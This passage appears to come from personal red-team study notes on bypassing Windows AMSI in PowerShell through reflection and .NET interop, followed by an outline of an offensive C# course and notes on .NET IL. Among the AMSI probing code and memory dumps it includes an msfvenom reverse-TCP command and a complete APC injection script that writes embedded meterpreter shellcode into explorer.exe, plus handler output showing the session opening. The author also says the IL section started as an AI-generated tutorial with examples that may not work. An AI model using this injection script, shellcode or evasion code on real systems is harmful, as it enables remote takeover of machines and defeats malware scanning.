) and updated with a valid memory pointer or handle value.
[SuppressMessage("Microsoft.Reliability", "CA2006:UseSafeHandleToEncapsulateNativeResources")]
private static IntPtr s_amsiContext = IntPtr.Zero;
/// Return Type: HRESULT->LONG->int
///appName: LPCWSTR->WCHAR*
///amsiContext: HAMSICONTEXT*
[DefaultDllImportSearchPathsAttribute(DllImportSearchPath.System32)]
[DllImportAttribute("amsi.dll", EntryPoint = "AmsiInitialize", CallingConvention = CallingConvention.StdCall)]
internal static extern int AmsiInitialize(
[InAttribute()][MarshalAsAttribute(UnmanagedType.LPWStr)] string appName, ref System.IntPtr amsiContext);
The DllImport
attribute specifies that the amsiInitialize method is imported from amsi.dll and has the EntryPoint set to amsiInitialize.
[DefaultDllImportSearchPathsAttribute(DllImportSearchPath.System32)]
[DllImportAttribute("amsi.dll", EntryPoint = "AmsiNotifyOperation", CallingConvention = CallingConvention.StdCall)]
internal static extern int AmsiNotifyOperation(
System.IntPtr amsiContext,
System.IntPtr buffer,
uint length,
[InAttribute()][MarshalAsAttribute(UnmanagedType.LPWStr)] string contentName,
ref AMSI_RESULT result);
We can also see, that amsiContext is initialized again as System.IntPtr
and defined as parameter for other methods from amsi.dll within their calling convention definition.
Educated Guessing:
In theory, this should also work for amsiSession
judging by the DLLImport stuff and they way it is used within the class. Yet, amsiSession returns a rather “weird” pointer, likely not a 32bit IntPtr like amsiContext, but rather a type of session ID. Overwriting amsiSession using Marshaller WriteInt32 simply crashes Powershell. In contrast to amsiContext, the value of amsiSession constantly changes with every input in your Powershell session. I attempted using another session ID there, but it’s simply overwritten again.
At that point I must emphasize: This is also a time constraint. - I had a lot of time playing with the entire amsi universe, for this part however I invested probably 40 work hours + give it anoth 30h in my free time - while it wasn’t my only focus to find new exploits.
Rather I tried to ingest:
- Reflection in Powershell in general
- amsi + Reflection
- dll operation, memory operation, garbage collection, marshalling, interop, and much more
- known exploits, other types of amsi evasion (like loaders, memory patching, etc)
- fixes of known but no longer working exploits
- inner workings of amsi, system.management.automation, Powershell
- document as much as possible, prepare several talks
More time wouldn’t necessarily given me new exploits, but chances would’ve been higher.
Erm, what?
The ability to obtain a valid memory pointer through Reflection in managed code is not a common scenario
. In this case, using unmanaged code of amsi.dll, along with the way it is implemented in AmsiNativeMethods allow for this behavior.
Overall, the combination of managed and unmanaged code in system.management.automation.dll enables the retrieval of a valid memory pointer, which can be used for further operations or evasion.
So: Did someone make this on purpose then? I wouldn’t go that far, nothing indicates this is an “intentional backdoor” - more likely it’s some older Windows NT / XP / Vista code has been used and changed as little as possible, to not break compatibility with old software, Powershell, C# and 3rd party virus scanners.
If I had to guess again, I would say this was written in the earlier days of .NET, also with the intention to show, that .NET is great and can easily handle the managed / unmanaged scenario.
[PointerHelper]::DumpMemory([Ref].Assembly.GetType('System.Management.Automation.Am'+$a+'Utils').GetField('am'+$a+'Context',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null), 512, 0, 4);
00000000 41 4D 53 49 00 00 00 00 10 1B 88 49 5E 02 00 00 AMSI.......I^...
00000010 40 83 99 2F 5E 02 00 00 29 16 00 00 00 00 00 00 @../^...).......
00000020 73 00 6F 00 00 00 00 00 06 05 20 35 DD 11 00 91 s.o....... 5Ý...
00000030 41 4C 4C 55 53 45 52 53 50 52 4F 46 49 4C 45 3D ALLUSERSPROFILE=
00000040 43 3A 5C 50 72 6F 67 72 61 6D 44 61 74 61 00 00 C:\ProgramData..
00000050 00 00 00 00 00 00 00 00 7B 05 2D 35 21 12 00 90 ........{.-5!...
00000060 F8 02 1A 49 FB 7F 00 00 80 BA 88 49 5E 02 00 00 ø..Iû....º.I^...
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080 22 88 8B C8 37 0C 0A 6C 22 88 8B C8 35 0C 0A 6C "..È7..l"..È5..l
00000090 22 88 8B C8 33 0C 0A 6C 22 88 8B C8 3F 0C 0A 6C "..È3..l"..È?..l
000000A0 22 88 8B C8 3B 0C 0A 6C 22 88 8B C8 07 0C 0A 6C "..È;..l"..È...l
000000B0 00 00 00 00 00 00 00 00 11 38 90 EA B6 68 01 10 .........8.ê¶h..
000000C0 40 A5 82 2F 5E 02 00 00 80 B2 88 49 5E 02 00 00 @¥./^....².I^...
000000D0 0A 00 00 00 C0 D0 E0 F0 69 32 D7 98 00 00 00 00 ....ÀÐàði2×.....
000000E0 1D 00 00 00 00 00 00 00 C0 BC 88 49 5E 02 00 00 ........À¼.I^...
000000F0 D4 E7 FF F0 FF FF FF FF 00 00 00 00 00 00 00 00 Ôçÿðÿÿÿÿ........
00000100 00 00 00 00 00 00 00 00 74 05 13 35 00 00 00 80 ........t..5....
00000110 44 00 69 00 73 00 61 00 6C 00 6C 00 6F 00 77 00 D.i.s.a.l.l.o.w.
00000120 65 00 64 00 00 00 00 00 76 05 11 35 00 01 00 80 e.d.....v..5....
00000130 44 00 69 00 73 00 61 00 6C 00 6C 00 6F 00 77 00 D.i.s.a.l.l.o.w.
00000140 65 00 64 00 00 00 00 00 68 05 1F 35 00 02 00 88 e.d.....h..5....
00000150 01 00 00 00 2E 00 30 00 00 00 00 00 00 00 00 00 ......0.........
00000160 00 00 00 00 02 00 07 80 6A 05 1D 35 00 03 00 80 ........j..5....
00000170 44 00 69 00 73 00 61 00 6C 00 6C 00 6F 00 77 00 D.i.s.a.l.l.o.w.
00000180 65 00 64 00 00 00 00 00 6C 05 1B 35 00 04 00 88 e.d.....l..5....
00000190 6D 00 73 00 63 00 6F 00 60 BD 88 49 5E 02 00 00 m.s.c.o.`½.I^...
000001A0 00 00 00 00 00 00 00 80 6E 05 19 35 00 05 00 80 ........n..5....
000001B0 01 00 00 00 00 00 00 00 90 BD 88 49 5E 02 00 00 .........½.I^...
000001C0 40 C0 88 49 5E 02 00 00 60 05 07 35 00 06 00 90 @À.I^...`..5....
000001D0 BB 5B 9D 9E 18 7A DA 41 9B E4 F7 F6 F0 75 9F 09 »[...zÚA.ä÷öðu..
000001E0 00 00 00 00 00 00 00 00 62 05 05 35 00 07 00 90 ........b..5....
000001F0 00 00 00 00 01 00 00 00 A0 0F 00 00 00 00 00 00 ........ .......
My favorite target, the AMSI_RESULT
enum couldn’t be changed, this was expected, as they’re constants, set at compiletime, and even .NET has something between compiletime and runtime. I still tried pretty hard but it wasn’t possible using reflection. There may be a way using delegate… (like one of Matt Graeber’s) and targeting the intermediate language (IL). System.Enum are stored there for DLLs. I came quite far here and this is one of the most interesting ways to explore further. I know, this doesn’t seem to make sense at first, the dlls and Powershell are already compiled.
When the assembly is loaded, the metadata is read by the Common Language Runtime (CLR). When you access a type (like an enum) for the first time, the CLR uses the metadata to generate a runtime representation of the type, but this is not exposed to managed code and cannot be modified using reflection.
While it is theoretically possible to alter the IL code of a method at runtime using the System.Reflection.Emit
namespace, there are no equivalent tools for altering type definitions, and particularly enum definitions, at runtime.
We can, as explained above, use kernel32.dll low-level functions like VirtualAlloc
to do all of this to mostly anything, but this has been explored already. With Reflection-only, one-liners, there are some limits unfortunately. WriteInt32
is deprecated already, likely for security reasons, it will be interesting to see, how things will evolve around known exploits - other than that, we have seemingly infinite ways to rewrite known stuff and bypass all that’s like regex filter / hash based and doesn’t check for actual memory access, process creation, disk write access, etc. For the Blueteam: This is your only way to prevent AMSI failure.
Some more background
In the .NET framework, which PowerShell is built on, there isn’t a direct equivalent to VirtualProtect
. This is because VirtualProtect is a Windows API function for manipulating memory at a low level. .NET is a managed runtime, meaning it abstracts away these kinds of low-level details, handling memory management and garbage collection for you.
The .NET framework uses different methods to protect and manage memory compared to lower-level languages like C++. It uses a garbage collector to automatically free memory that’s no longer in use, which helps prevent memory leaks and other common issues.
However, there are advanced techniques that can be used in .NET for dealing with memory at a lower level, such as using the System.Runtime.InteropServices.Marshal
class to allocate memory, copy memory, and convert between different data types. But even these don’t provide the same level of control over memory as VirtualProtect does.
The System.Runtime.InteropServices.Marshal class in .NET provides several methods that allow for low-level memory operations, pointer manipulation, structure marshaling, etc. The following are some of the relevant methods:
- AllocHGlobal: Allocates memory from the unmanaged memory of the process.
- FreeHGlobal: Frees memory previously allocated from the unmanaged memory of the process.
- ReAllocHGlobal: Reallocates unmanaged memory.
- PtrToStringAuto, PtrToStringAnsi, PtrToStringBSTR, PtrToStringUni: These methods allocate managed string and copy unmanaged string into it.
- StringToHGlobalAuto, StringToHGlobalAnsi, StringToHGlobalUni: These methods allocate unmanaged memory, copy the managed string into it, and return pointer to it.
- StructureToPtr: Copies a structure to unmanaged memory.
- PtrToStructure: Copies data from an unmanaged memory pointer to a managed object.
- DestroyStructure: Deallocates a structure from unmanaged memory.
- SizeOf: Returns the size in bytes of the unmanaged version of a structure.
- OffsetOf: Returns the offset of a field in a structure.
- ReadByte, ReadInt32, etc.: Read data from unmanaged memory.
- WriteByte, WriteInt32, etc.: Write data into unmanaged memory.
- GetIUnknownForObject: Returns the IUnknown interface pointer for a managed object.
- GetObjectForIUnknown: Returns a managed object for a IUnknown interface pointer.
These methods do not have the capability to alter memory protections as VirtualProtect does, as such operations are not generally supported in the managed memory model of .NET.
IUnknown
is the fundamental interface in COM (Component Object Model) programming. Every COM object supports at least the IUnknown interface. This interface provides methods to manage the existence of the object, and to provide access to the services that the object supports.
Here’s a brief overview of the methods provided by the IUnknown interface:
- AddRef: Increments the reference count for an interface pointer to a COM object. Each time a pointer to an interface is copied, AddRef must be called. This method helps manage the object’s lifetime as the object continues to exist as long as there’s a reference to it.
- Release: Decrements the reference count for an interface on a COM object. When the reference count on the object reaches zero, the object is freed.
- QueryInterface: Provides a pointer to a specified interface on an object. This method allows the caller to get pointers to other interfaces that the object supports.
In the context of .NET and PowerShell, IUnknown is typically used for interop scenarios where you need to interact with COM objects from .NET. The System.Runtime.InteropServices.Marshal class provides methods like GetIUnknownForObject and GetObjectForIUnknown to manage COM interop in .NET
System.Management.Automation.amsiUtils
is a .NET type, not a COM object, and therefore doesn’t support IUnknown or COM-based manipulation. The IUnknown interface and the methods related to it in the System.Runtime.InteropServices.Marshal
class are for use with COM objects. You can’t use them to manipulate .NET types in the way that you can with COM objects.
In addition, the .NET Framework, which PowerShell is built on, doesn’t offer direct access to manipulate the memory or the actual pointer of an object or its properties, for safety and security reasons. This is true whether the object is a COM object or a .NET type.
The built-in mechanisms for manipulating objects and their properties in .NET and PowerShell are designed to work with managed memory, where the .NET runtime handles memory allocation, garbage collection, and so on. If you need to manipulate the value of members, you can do so through the methods and properties exposed by the System.Management.Automation.amsiUtils type.
If the member is a private field, you could potentially use reflection to access and modify it.
$ $signature = @"
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
"@
$type = Add-Type -MemberDefinition $signature -Name "Win32VirtualProtect" -Namespace Win32Functions -PassThru
$oldProtect = New-Object UInt32
$nullPtr = [System.IntPtr]::Zero
$result = $type::VirtualProtect($nullPtr, [UInt32]1000, [UInt32]0x40, [Ref]$oldProtect)
(shortest way to repeat history)
Compile c# file-to-file
$ & 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /unsafe /target:library /out:FieldPointerGetter.dll FieldPointerGetter.cs
Ways to alter .NET stuff
that shouldn’t be altered, tinkering with the Common Intermediate Language
(IL or CIL) of .NET.
Dynamic code generation and loading
This is a feature built into the .NET runtime, which allows creating new types and methods at runtime using System.Reflection.Emit
.
CLR Profiling API
The CLR Profiling API is a powerful tool that lets you examine (and potentially alter) the operation of the .NET runtime. It’s more commonly used for performance profiling, but it does have features that let you alter the CIL code as it is being JIT compiled. https://chnasarre.medium.com/start-a-journey-into-the-net-profiling-apis-40c76e2e36cc
Post-compilation IL rewriting
A possible approach is to rewrite the IL code after compilation but before the assembly is loaded into the runtime (CLR). Tools like Fody and PostSharp use this approach to implement aspect-oriented programming.
Glossary with examples
Mostly for learning purposes.
IL Manipulation
https://docs.microsoft.com/en-us/dotnet/api/system.reflection.emit.ilgenerator
IL manipulation involves direct interaction with .NET’s Intermediate Language (IL) for dynamic method creation and modification. You can create methods at runtime by emitting IL code. This provides a highly flexible approach for executing complex logic dynamically.
Code Example:
var method = new DynamicMethod("DynamicMethod", typeof(int), new[] { typeof(int), typeof(int) });
var il = method.GetILGenerator();
il.Emit(OpCodes.Ldarg_0);
il.Emit(OpCodes.Ldarg_1);
il.Emit(OpCodes.Add);
il.Emit(OpCodes.Ret);
$ DynamicMethod.Invoke(null, new object[] { 1, 2 })
COM Interop
https://docs.microsoft.com/en-us/dotnet/standard/native-interop/cominterop
COM Interop allows .NET applications to interact with COM components, enabling integration with legacy systems built in languages like C++. COM objects can be created in .NET and then used like any other object.
Code Example:
Type type = Type.GetTypeFromProgID("Scripting.FileSystemObject");
object instance = Activator.CreateInstance(type);
.NET Interop
https://docs.microsoft.com/en-us/dotnet/standard/native-interop
.NET Interop allows .NET applications to interact with native code libraries and components.
Marshaling
https://docs.microsoft.com/en-us/dotnet/framework/interop/marshaling-classes-structures-and-unions
Marshaling is the process of transforming types as they move from managed to unmanaged code and back again. The Marshal class provides a collection of methods for allocating unmanaged memory, copying unmanaged memory blocks, and converting managed to unmanaged types, among others.
Code Example:
IntPtr pointer = Marshal.AllocHGlobal(100);
Marshal.WriteByte(pointer, 0, 1);
byte result = Marshal.ReadByte(pointer, 0);
Marshal.FreeHGlobal(pointer);
Allocates unmanaged memory, writes a byte to it, reads the byte, and then frees the memory.
PInvoke
https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke
PInvoke (Platform Invocation Services) allows .NET code to call native functions implemented in unmanaged code libraries. With PInvoke, you can call Windows API functions or other unmanaged functions from libraries.
Code Example:
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
This code calls the ShowWindow function from the user32.dll library.
Offensive C#
I started from this great course: https://www.udemy.com/course/offensive-csharp/ but took my own route, as I couldn’t afford to buy it, changed the syllabus a bit here and there and used free resources. If you benefit from my notes on this topic, please consider to buy the course.
I’m not through with this yet, it’s WIP (work-in-progress). Some links may not (yet) work, etc.
Outline
Learn C# Basics Learn how to build tools with C# Learn how to enumerate Active Directory using C# Automate tasks using C# Learn some Powershell tools Learn WinAPI with C# Enumerate LSASS using WinAPI Learn PE File Format Writing Reflective PE Loader Writing Reflective DLL Loader
Udemy Course Content
C# Basics
Variables and Operators Reading User Input Loops Arrays Functions
Python C2 Server
Flask basics Linking Sockets and web interface Bidirectional File Transfer Multithreaded keylogger
C# Reverse Shell
LDAP Enumeration
Privilege Escalation
Finding Unquoted Service paths Finding Writable Files
Automating Active Directory Enumeration
Finding ASREP Roastable users Finding Nested groups Finding DCSync capable users Finding Unconstrained Delegation users Kerberos Constrained Delegation Attack Resource based Constrained Delegation
.NET Loader
Simple .NET Loader
Persistence
AdminSDHolder Persistence via C#
WinAPI with C#
MessageBoxW and GetUserNameW Structures and Unions NetShareEnumW - Enumerating network shares GetTokenInformation - Checking our elevation privilege Listing All token privileges Enabling all assigned token privileges - AdjustTokenPrivilege Simple Shellcode runner Shellcode Injection in remote process Storing shellcode in .rsrc resources section DLL Injection Finding DLLs and their Base addresses in a process Checking if Process is attached to debugger or not Detaching the debugger from process using NtRemoveProcessDebug Backdooring PE Files Getting Screenshots Obfuscating Function names using Delegates
LSA API
Enumerating Logon Sessions
PE File Format
DOS Header, DOS Stub, Signature, File Header Optional Header Section Headers Import Name Table and Import Address Table Parsing Exports in a DLL
Reflective PE64 Injection
Parsing Headers Mapping sections into memory Fixing Import Address Table Fixing Base Relocations Testing Metasploit payloads Adding a New Section via C#
Process Hollowing
Process Hollowing
DLL Injection via SetWindowsHookExA
SetWindowsHookExA DLL Injection
Shellcode Injection via Mapping Sections
Shellcode Injection via NtMapViewofSection DLL Hollowing
Thread Queue APC Injections
QueueUserAPC Code Injection
Evasion Techniques
Obfuscating Imports
AMSI Bypassing techniques
Patching AmsiScanBuffer in memory
API Hooking
Simple Function Hooking Local Function Hooking with EasyHook
API Hashing
Hashing the function names to avoid static analysis
Walkthroughs
Hackthebox - SAUNA
Resources
C# Basics
Microsoft C# Documentation
Learn C# - Codecademy
C# Yellow Book by Rob Miles
Python C2 Server
Flask Web Development with Python Tutorial
GitHub - Sockets in Python
Python Keylogger Project
C# Reverse Shell
SharpReverseShell
C# Reverse Shell Technique with Netcat
LDAP Enumeration
LDAP Injection & Blind LDAP Injection
Active Directory Enumeration with LDAP
Privilege Escalation
Windows Privilege Escalation Fundamentals
Windows Privilege Escalation Guide
Automating Active Directory Enumeration
Active Directory Enumeration with PowerView
BloodHound – Hacking Active Directory
.NET Loader
Persistence
Windows Persistence with AdminSDHolder and SDProp
WinAPI with C#
PInvoke .NET
Using WinAPI in C#
LSA API
PE File Format
An In-Depth Look into the Win32 Portable Executable File Format
Windows PE File Format – Parsing PE File Headers
Reflective PE64 Injection
Reflective DLL Injection with PowerShell
Github - Reflective DLL Injection
Process Hollowing
DLL Injection via SetWindowsHookExA
SetWindowsHookExA
will inject a DLL / exported function on a predefined event type, like keypress event. That why it’s commonly used for keyloggers. It has two advantages:
DLL loading and execution occurs upon event. I think of it like a sleeper. Chances of discovery are reduced and an attacker can limit the attack to a specific program. E.g. the attacker only wants to keylog what the user enters into his password manager.
Using null as last parameter the attacker can target any Desktop app and use other event types to trigger / controll the injected app
Windows Defender did not alert on injecting a PDF Reader into Notepad (that was triggered by keypresses)
Shellcode Injection via Mapping Sections
Creating a Simple User-Mode Rootkit
Thread Queue APC Injections
Alertable state
Threads must be in an “alertable” state in order for the APC to be delivered and the shellcode to be executed. The thread enters an alertable state by calling functions like:
SleepEx
SignalObjectAndWait
MsgWaitForMultipleObjectsEx
WaitForSingleObjectEx
WaitForMultipleObjectsEx
with the alertable parameter set to TRUE. If the target thread is not in an alertable state, the APC gets queued but never delivered, and hence the injected code never gets executed.
When it comes to injecting into PowerShell with the -sta (Single Threaded Apartment) switch, it’s important to note that it creates a new thread which is in an alertable state by default. This explains why the shellcode is successfully executed without the need to inject into multiple threads. However, be cautious, as making a thread execute an APC could freeze the thread, making the process appear unresponsive, just as you observed with PowerShell.
APC Injection in Powershell / C#
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f powershell
APC_Injection.ps1 (does not require NT-Authority
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public static class APCQueueCodeInjection {
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
[DllImport("kernel32.dll")]
public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[Flags]
public enum ProcessAccessFlags : uint {
All = 0x001F0FFF
}
[Flags]
public enum ThreadAccess : int {
All = 0x001F03FF
}
[Flags]
public enum AllocationType {
Commit = 0x1000,
Reserve = 0x2000,
Reset = 0x80000
}
[Flags]
public enum MemoryProtection {
ExecuteReadWrite = 0x40
}
}
"@ -Language CSharp
## venom revshell
$shellcode = [Byte[]] (0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x41,0x51,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0x8b,0x48,0x18,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x41,0x58,0x48,0x1,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x1,0xbb,0xc0,0xa8,0x2,0x6c,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0x49,0xff,0xce,0x75,0xe5,0xe8,0x93,0x0,0x0,0x0,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x4,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x0,0x10,0x0,0x0,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x0,0x40,0x0,0x0,0x41,0x58,0x6a,0x0,0x5a,0x41,0xba,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x1,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5)
$targetProcessName = 'explorer'
$targetProcess = Get-Process -Name $targetProcessName
$processHandle = [APCQueueCodeInjection]::OpenProcess([APCQueueCodeInjection+ProcessAccessFlags]::All, $false, $targetProcess.Id)
$allocatedMemory = [APCQueueCodeInjection]::VirtualAllocEx($processHandle, [IntPtr]::Zero, $shellcode.Length, [APCQueueCodeInjection+AllocationType]::Commit -bor [APCQueueCodeInjection+AllocationType]::Reserve, [APCQueueCodeInjection+MemoryProtection]::ExecuteReadWrite)
$null = [APCQueueCodeInjection]::WriteProcessMemory($processHandle, $allocatedMemory, $shellcode, $shellcode.Length, [ref]0)
ForEach ($thread in $targetProcess.Threads) {
$threadHandle = [APCQueueCodeInjection]::OpenThread([APCQueueCodeInjection+ThreadAccess]::All, $false, $thread.Id)
[void] [APCQueueCodeInjection]::QueueUserAPC($allocatedMemory, $threadHandle, [IntPtr]::Zero)
}
On the target Windows machine, it will lock up explorer and make the system slightly unusable. On the msfconsole
side it’s a little bit funny to watch though :D
msf6 > use exploits/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set autorunscript post/windows/manage/migrate
[*] Started reverse TCP handler on 192.168.2.108:443
[...cut lots of output...]
[*] Sending stage (200774 bytes) to 192.168.2.204
[-] Failed to load client portion of stdapi.
[*] Sending stage (200774 bytes) to 192.168.2.204
[-] Failed to load client portion of stdapi.
[...cut lots of output...]
[*] Sending stage (200774 bytes) to 192.168.2.204
[*] Session ID 2 (192.168.2.108:443 -> 192.168.2.204:51448) processing AutoRunScript 'post/windows/manage/migrate'
[...cut lots of output...]
[*] Running module against DESKTOP-346dfg
[*] Current server process: explorer.exe (36804)
[...cut lots of output...]
[*] Current server process: explorer.exe (36804)
[*] Spawning notepad.exe process to migrate into
[...cut lots of output...]
[*] Spoofing PPID 0
[*] Migrating into 29912
[*] Migrating into 19392
[*] Migrating into 28816
[*] Migrating into 9092
[*] Migrating into 10900
[+] Successfully migrated into process 9092
[*] Meterpreter session 5 opened (192.168.2.108:443 -> 192.168.2.204:51452) at 2023-05-21 01:00:29 +0200
but it works. Untested against AMSI
yet. Rather a learning objective for me right now.
Evasion Techniques
An Introduction to Malware Analysis and Reverse Engineering
AMSI Bypassing techniques
Bypassing AMSI via COM Server Hijacking
API Hooking
EasyHook - The reinvention of Windows API hooking
API Hashing
Github - Function name hashing algorithms
Walkthroughs
Get-Doppelgangers
https://gist.github.com/dezhub/6d2a3ced01aaf081da841f4761455c5f
Something for you to study. Contains rather complex Powershell solution to get VirtualQueryEx
going - however it seems it’s not working anymore, $MemoryBasicInformation struct is always empty (even as admin) and we don’t get proper base addresses that way.
IL - Intermediate Language
This started as an AI generated Tutorial we only partly processed further. So a few coding examples probably don’t work.
We continued to correct more stuff and tried to shrink it down to the facts, but still, this is more of an experimentation lab.
Part 0: Finding your way around
Assembly information
Just use Tab
/ Autocomplete with $dynamicMethodType.
and try some of the options yourself:
## Note: IDKY but putting it inside a variable will give different results
$ $dynamicMethodType = [System.Reflection.Emit.DynamicMethod]
$ $dynamicMethodType.Assembly
GAC Version Location
--- ------- --------
True v4.0.30319 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll
Declared Fields
## Often times, the output is very long. I'll usually condens the information
$ $dynamicMethodType.DeclaredFields | Select-Object Name
Name
----
m_parameterTypes
m_methodHandle
m_returnType
m_ilGenerator
m_DynamicILInfo
m_fInitLocals
m_module
m_skipVisibility
m_typeOwner
m_dynMethod
m_resolver
m_profileAPICheck
m_creatorAssembly
m_restrictedSkipVisibility
m_creationContext
s_anonymouslyHostedDynamicMethodsModule
s_anonymouslyHostedDynamicMethodsModuleLock
Class Methods
$ Get-Member -InputObject $dynamicMethodType | Select-Object Name
Name
----
AsType
Clone
Equals
FindInterfaces
FindMembers
GetArrayRank
GetConstructor
GetConstructors
GetCustomAttributes
GetCustomAttributesData
GetDeclaredEvent
[...]
$ $dynamicMethodType.DeclaredMembers | Select-Object Name
Name
----
PerformSecurityCheck
GetILGenerator
CheckConsistency
Init
PerformSecurityCheck
CreateDelegate
[..]
$ $dynamicMethodType.DeclaredProperties | Select-Object name
Name
----
ProfileAPICheck
Name
DeclaringType
ReflectedType
Module
MethodHandle
Attributes
CallingConvention
IsSecurityCritical
IsSecuritySafeCritical
IsSecurityTransparent
ReturnType
ReturnParameter
ReturnTypeCustomAttributes
InitLocals
In the output, we see a mix of inherited methods / members, reflection members, and class-specific members.
# OverloadDefinitions itself can be pretty practial as well
$showMessageBox.Invoke.OverloadDefinitions
void Invoke(System.IntPtr arg1, string arg2, string arg3, int arg4)
Often times, when nothing seems to work, there’s no documentation that would be helpful and the object, class or whatever doesn’t seem to expose anything useful like GetMembers
, .OverloadDefinitions
often works, even though Tab Autocomplete doesn’t hint you at it.
More practicals
[System.Reflection.Assembly]::GetExecutingAssembly().ManifestModule
MDStreamVersion : 131072
FullyQualifiedName : <Im Speichermodul>
ModuleVersionId : edd27b13-c7ca-45a0-8df0-1baaee8d0640
MetadataToken : 1
ScopeName : RefEmit_InMemoryManifestModule
Name : <Im Speichermodul>
Assembly : Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
CustomAttributes : {}
ModuleHandle : System.ModuleHandle
[System.Reflection.Assembly]::GetExecutingAssembly().ManifestModule
[System.Reflection.Assembly]::GetExecutingAssembly().GetModules()
[System.Reflection.Assembly]::LoadWithPartialName("mscorlib").ManifestModule
# When something doesnt have ".GetType()" ".GetMember()" ...
$comObject | Get-Member -MemberType Method
Class-only
Narrow it down
$ $dynamicMethodType.DeclaredMembers | Where-Object MemberType -eq "Method" | Select-Object name
Name
----
PerformSecurityCheck
GetILGenerator
CheckConsistency
Init
PerformSecurityCheck
CreateDelegate
CreateDelegate
